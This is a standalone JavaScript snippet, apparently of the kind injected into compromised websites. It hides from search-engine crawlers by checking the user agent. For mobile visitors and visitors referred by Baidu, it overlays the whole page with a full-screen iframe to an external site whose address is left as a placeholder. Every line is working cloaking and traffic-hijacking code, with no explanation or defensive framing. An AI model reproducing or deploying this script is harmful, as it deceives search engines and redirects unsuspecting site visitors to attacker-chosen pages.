var s=document.referrer;
var host=window.location.host;
var p = navigator.platform;
var reg = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou inst spider|Sogou web spider|spider|Baiduspider-render)/i;
if (!reg.test(navigator.userAgent)) {
let flag = navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|QQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i);
if ( ! /Win/i.test(navigator.platform) && ! /Mac/i.test(navigator.platform) )  {
//k
var _src = 'http://网址/';
}  else if (s.indexOf("baidu.com") > -1 )
{
_src = 'http://网址';  
}
 else {
// PC
  _src = '/404.html'
}
document.write('<meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1">');
var hd = document.head;
var styleCSS = document.createElement('style'), roulang = document.createElement('div');
styleCSS.innerHTML = 'html,body{position:relative;width:auto !important;height:100% !important;min-width:auto !important;overflow:hidden;}.roulang{position:fixed;top:0;left:0;right:0;height:100%;z-index:9999999999;background:#fff;}';
roulang.setAttribute('class', 'roulang');
roulang.innerHTML = '<iframe src='+ _src +' frameborder="0" style="position:fixed;top:0;left:0;width:100% !important;height:100% !important;max-height: none !important;"></iframe>';
hd.appendChild(styleCSS);
hd.parentNode.appendChild(roulang);
}
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